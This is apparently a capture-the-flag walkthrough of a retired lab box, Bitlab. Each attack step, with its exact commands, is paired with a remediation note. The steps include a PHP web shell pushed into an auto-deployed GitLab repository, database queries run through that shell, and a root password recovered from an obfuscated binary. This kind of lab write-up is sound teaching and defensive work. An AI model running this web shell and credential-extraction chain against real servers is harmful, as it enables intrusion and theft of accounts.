← all walkthroughs

Bitlab

Linux· Medium
owned
2026-07-08
time to own
13m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I fingerprinted an internet-exposed GitLab Community Edition instance and discovered that anonymous REST API access revealed all hosted project names. A developer-convenience JavaScript bookmarklet embedded in the public GitLab help page contained hardcoded login credentials in encoded form; decoding it yielded valid GitLab credentials.

Using those credentials, I pushed a PHP web shell to an auto-deployed profile repository via a branch-and-merge-request workflow, instantly serving arbitrary code from the live web root with no additional approval. A GitLab snippet stored the application's Postgres connection string in plaintext; querying the local database through the web shell returned a system user's SSH password stored in cleartext.

SSH as that user captured the first flag. A Windows remote-access binary found in the user's home directory contained the root SSH password hidden inside an XOR-obfuscated credential blob; reversing the decode routine in a static-analysis tool recovered the root password, and a direct SSH login as root completed the full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"
export PASSWORD7="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService fingerprinting; unauthenticated GitLab REST API project enumeration (T1592)
Fingerprinted services and enumerated GitLab repositories anonymously
An nmap service scan against $TARGET identified OpenSSH 7.6p1 on port 22 and nginx on port 80. An HTTP request to port 80 redirected to /users/sign_in, and page metadata confirmed GitLab Community Edition with an Apache 2.4.29 backend. The unauthenticated GitLab REST API at /api/v4/projects returned a full project listing, exposing two repositories: root/profile and root/deployer — giving me a map of the deployment surface before obtaining any credentials.
Curl -s http://$TARGET/api/v4/projects returned root/profile (id=2) and root/deployer with no credentials required.
Exact commands 3
Service version scan; identifies OpenSSH 7.6p1 and nginx.
nmap -Pn -sV -p 22,80 $TARGET
Follow redirect to /users/sign_in; page title and generator meta tag confirm GitLab CE.
curl -si http://$TARGET/
Unauthenticated API call; returns all visible projects including root/profile (id=2).
curl -s http://$TARGET/api/v4/projects | python3 -m json.tool
FixRestrict GitLab project visibility and require authentication for API accessMedium
WeaknessThe GitLab REST API at /api/v4/projects returned a full list of hosted repository names to any unauthenticated visitor, giving an unauthorised user a complete map of deployment-linked targets before obtaining a single credential.
FixSet all repositories to Internal or Private visibility (Admin Area → Settings → Visibility and access controls). Under Admin → Settings → General → Sign-up restrictions, enable 'Sign-in required' so anonymous users cannot browse the instance or call the API. Review the Explore pages and disable public project discovery if no external collaboration is needed.
2Credential DiscoveryHardcoded credentials in client-side JavaScript (CWE-798)
Extracted hardcoded GitLab credentials from a JavaScript bookmarklet on the public help page
The GitLab help page at /help/bookmarks.html contained a browser-bookmarklet link whose URL-encoded JavaScript automated the GitLab login flow with the credentials clave / [REDACTED: recovered credential] embedded in plaintext. The page required no authentication to access. URL-decoding the bookmarklet href exposed the credential pair immediately.
Bookmarklet href on /help/bookmarks.html URL-decoded to a JavaScript snippet containing clave:[REDACTED: recovered credential]; credentials validated against the GitLab /users/sign_in endpoint.
Exact commands 2
Retrieve the help page; inspect HTML for bookmarklet <a> elements with javascript: hrefs.
curl -s http://$TARGET/help/bookmarks.html
URL-decode the bookmarklet href to reveal the embedded username and password in the JavaScript literal.
python3 -c "import urllib.parse; print(urllib.parse.unquote('<paste-bookmarklet-href-here>'))"
FixRemove hardcoded credentials from the GitLab help-page bookmarkletCritical
WeaknessA JavaScript bookmarklet published on the public /help/bookmarks.html page encoded valid GitLab login credentials (username and password) directly in its href. Any unauthenticated visitor who read the page source obtained working credentials immediately.
FixDelete the bookmarklet page or strip all credential material from it immediately. Authentication helpers must never embed passwords in client-deliverable code or markup. Rotate the clave GitLab account password. Integrate a secret-scanning tool (e.g., gitleaks or truffleHog) into the CI pipeline to prevent future credential commits to any repository or public page.
3ExploitationAuthenticated push to auto-deployed repository as a code execution primitive (T1195.002 — CI/CD pipeline abuse)
Deployed a PHP web shell to the live web root by merging a malicious branch into the auto-deployed repository
Authenticated to GitLab as clave:[REDACTED: recovered credential], I cloned root/profile and learned that every commit merged into master was automatically deployed to /var/www/html/profile — with no pipeline approval gate and no restriction on file type. A new branch containing a one-line PHP web shell was pushed, a merge request was opened (requiring a CSRF token scraped from the session HTML), and the MR was merged via the REST API. The shell appeared live at http://$TARGET/profile/<filename>.php within seconds, providing unauthenticated command execution as www-data.
PUT /api/v4/projects/2/merge_requests/<iid>/merge succeeded; curl --get --data-urlencode 'cmd=id' http://$TARGET/profile/shell<ts>.php returned uid=33(www-data).
Exact commands 5
Clone the auto-deployed repository with recovered credentials.
git clone http://$USERNAME:$PASSWORD@$TARGET/root/profile.git /tmp/profile
Create a timestamped branch to avoid collisions; push the PHP web shell.
cd /tmp/profile && BRANCH=shell$(date +%s) && git checkout -b $BRANCH && echo '<?php system($_GET["cmd"]); ?>' > ${BRANCH}.php && git add . && git commit -m 'update' && git push origin $BRANCH
Open MR targeting master; replace <csrf_token> with the value scraped from the /root/profile/merge_requests/new page.
# Scrape CSRF token from an authenticated GitLab page, then open the MR:
curl -sS -b cookies.txt -c cookies.txt -X POST http://$TARGET/root/profile/merge_requests \
  -d 'merge_request[source_branch]=<branch>&merge_request[target_branch]=master&authenticity_token=<csrf_token>'
Merge the MR via REST API; triggers auto-deployment of the web shell to /var/www/html/profile/.
curl -sS -b cookies.txt -X PUT http://$TARGET/api/v4/projects/2/merge_requests/<iid>/merge
Verify RCE — should return uid=33(www-data).
curl -sS --get --data-urlencode 'cmd=id' http://$TARGET/profile/shell<ts>.php
FixRequire code review approval before auto-deploying GitLab repository changes to productionCritical
WeaknessThe root/profile repository was configured to automatically push every commit merged into master directly to the live web root (/var/www/html/profile) with no approval gate, file-type restriction, or content inspection. A single authenticated push was sufficient to serve externally controlled PHP code to the public internet.
FixEnable GitLab Protected Branches on master so that only designated Maintainer accounts can push or approve merges. Require at least one human approver (separate from the committer) before any merge to the production-deploying branch. In the web server configuration, disable PHP execution inside /var/www/html/profile with 'php_flag engine off' (Apache) or 'fastcgi_pass' removal (nginx) if the directory is intended to serve only static content. Validate deployed file extensions as part of the CI/CD pipeline.
4Post-ExploitationSensitive data exposure in internal GitLab snippet (CWE-312)
Retrieved Postgres connection credentials from a plaintext GitLab snippet
The authenticated GitLab session used in the previous step also had access to an internal snippet at /snippets/1/raw. The snippet stored a PHP database connection block with the Postgres hostname, database name, username, and password all in plaintext (host=localhost dbname=[REDACTED: recovered credential] user=[REDACTED: recovered credential] password=[REDACTED: recovered credential]). This handed my direct read access to the application database from the www-data foothold with no further effort.
Curl -b cookies.txt http://$TARGET/snippets/1/raw returned a PHP pg_connect() call with host=localhost dbname=[REDACTED: recovered credential] user=[REDACTED: recovered credential] password=[REDACTED: recovered credential] in cleartext.
Exact commands 1
Read the authenticated GitLab snippet; the response contains the Postgres connection string in plaintext.
curl -sS -b cookies.txt http://$TARGET/snippets/1/raw
FixRemove database connection strings from GitLab snippets and store secrets in a vaultHigh
WeaknessAn authenticated GitLab snippet at /snippets/1/raw stored the Postgres hostname, database name, username, and password in plaintext. Any user with GitLab access — including a low-privilege account obtained through another vulnerability — could read the snippet and gain direct database access.
FixDelete the snippet immediately and rotate the Postgres credentials (user profiles, database [REDACTED: recovered credential]). Store all connection secrets exclusively in environment variables injected at runtime or in a secret-management system (e.g., HashiCorp Vault or GitLab CI/CD Variables with the 'Masked' and 'Protected' flags set). Audit all existing snippets and repository history for embedded secrets using gitleaks before re-deploying.
5Credential AccessCleartext credential storage in application database (CWE-256); credential access via web shell pivot
Queried the application database through the web shell and recovered a cleartext SSH password
Using the Postgres credentials from the snippet, I executed a PHP one-liner through the deployed web shell to connect to the local Postgres instance and dump the [REDACTED: recovered credential] table. The table contained a single record for user 'clave' with the password field set to the literal string '[REDACTED: recovered credential]' — the user's SSH password stored in plaintext in the application database, not hashed.
Exact commands 1
Execute a PHP DB query through the web shell; outputs the [REDACTED: recovered credential] table including clave's plaintext password.
curl -sS --get --data-urlencode 'cmd=php -r '\''$db=pg_connect("host=localhost dbname=$PASSWORD4 user=$PASSWORD4 password=$PASSWORD4"); $r=pg_query($db,"SELECT * FROM $PASSWORD4"); while($row=pg_fetch_assoc($r)) print_r($row);'\''' http://$TARGET/profile/shell<ts>.php
FixHash user credentials stored in the application database — never store recoverable passwordsHigh
WeaknessThe Postgres [REDACTED: recovered credential] table stored the operating system user clave's SSH password as a plaintext string. Any party who could read the table — via the leaked Postgres credentials, a SQL injection flaw, or a compromised application account — immediately obtained a valid SSH credential, collapsing two attack stages into one.
FixPasswords must never be stored in recoverable form. Replace all plaintext or weakly encoded password fields with strong adaptive hashes (bcrypt, scrypt, or Argon2id with appropriate cost factors). More importantly, decouple application accounts from OS accounts entirely: use SSH public-key authentication for system logins and never derive or store OS credentials in application databases. Rotate clave's SSH password immediately.
6Lateral MovementCredential reuse — application-layer cleartext credential repurposed for OS SSH login (T1078.003)
SSH'd into the host as clave using the database-stored password verbatim
The recovered password field value '[REDACTED: recovered credential]' resembles Base64 but is not meant to be decoded — it is the literal SSH password. Attempting the decoded value ('[REDACTED: recovered credential]') fails; using the raw string succeeds. SSH authentication as clave yielded an interactive shell and the user.txt flag from /home/clave/user.txt.
Exact commands 1
Use the raw, undecoded database string as the SSH password. Outputs <user.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password clave@$TARGET 'id; cat /home/clave/user.txt'
7Privilege EscalationCredential recovery from obfuscated binary (T1552.001 — Credentials in Files); static binary reverse engineering
Reversed an obfuscated credential blob in a Windows binary to extract the root SSH password
Enumerating clave's home directory revealed a Windows PE binary, RemoteConnection.exe, intended to automate remote connections to the server. Radare2 analysis of the binary identified Windows API imports (GetUserNameW, ShellExecuteW) and two functions (fcn.00401520 / fcn.004018f0) that applied XOR and Base64 operations to a hardcoded credential blob ('[REDACTED: recovered credential]...'). Replaying the decode algorithm in Python against the extracted blob recovered the root SSH password '[REDACTED: recovered credential]' in plaintext.
Rabin2 and r2 disassembly identified the XOR decode loop in fcn.00401520; Python replay of the routine against the blob produced [REDACTED: recovered credential], confirmed by SSH auth.
Exact commands 4
Exfiltrate the binary to my machine for offline analysis.
sshpass -p "$PASSWORD" scp -o StrictHostKeyChecking=no clave@$TARGET:/home/clave/RemoteConnection.exe /tmp/RemoteConnection.exe
Dump all strings including wide/unicode; locate the obfuscated credential blob starting with '[REDACTED: recovered credential]...'.
rabin2 -zz /tmp/RemoteConnection.exe | grep -iE 'XRIB|pass|cred|user'
Disassemble the two decode functions; identify the XOR key and byte-manipulation logic used on the blob.
r2 -A -c 'pdf @ fcn.00401520; pdf @ fcn.004018f0' /tmp/RemoteConnection.exe 2>/dev/null | head -120
Replay the XOR decode; substitute the actual blob bytes and key constant observed in the disassembly.
python3 - <<'EOF'
blob = bytes.fromhex('<hex-encoded-blob-from-rabin2-output>')
key = 0x50  # substitute actual XOR key from r2 disassembly
decoded = bytes([b ^ key for b in blob])
print(decoded.decode('utf-8', errors='replace'))
EOF
FixRemove embedded system credentials from client-accessible binaries and disable direct root SSH loginCritical
WeaknessRemoteConnection.exe, stored in a low-privilege user's home directory, contained the root SSH password inside an XOR-obfuscated blob. Obfuscation is not encryption: anyone who obtains the binary can recover any embedded credential with freely available static-analysis tools (radare2, Ghidra, strings) in minutes, regardless of how the obfuscation algorithm is implemented.
FixRemove RemoteConnection.exe from the system and rotate the root SSH password immediately. Remote-access tooling must authenticate using SSH certificates or hardware-backed keys managed by a privileged access management (PAM) solution — never with embedded plaintext or reversibly encoded passwords. Disable direct root SSH login in /etc/ssh/sshd_config ('PermitRootLogin no') and require administrators to SSH as a named account and escalate with sudo, creating an auditable access trail.
8Full CompromiseDirect root SSH login with extracted credential (T1078.003 — Valid Accounts: Local Accounts)
Authenticated directly as root over SSH using the binary-extracted password
The root SSH password recovered from the binary was valid for direct SSH login as root — no sudo abuse, SUID exploit, or kernel vulnerability was required. SSH as root provided an interactive root shell and allowed reading the root.txt flag from /root/root.txt, completing full system compromise from an entirely unauthenticated starting position.
Sshpass -p '[REDACTED: recovered credential]' ssh root@$TARGET returned uid=0(root); root.txt captured.
Exact commands 1
Direct root login using the credential recovered from the binary. Outputs <root.txt>.
sshpass -p '$PASSWORD7' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password root@$TARGET 'id; hostname; cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

22/tcp
80/tcp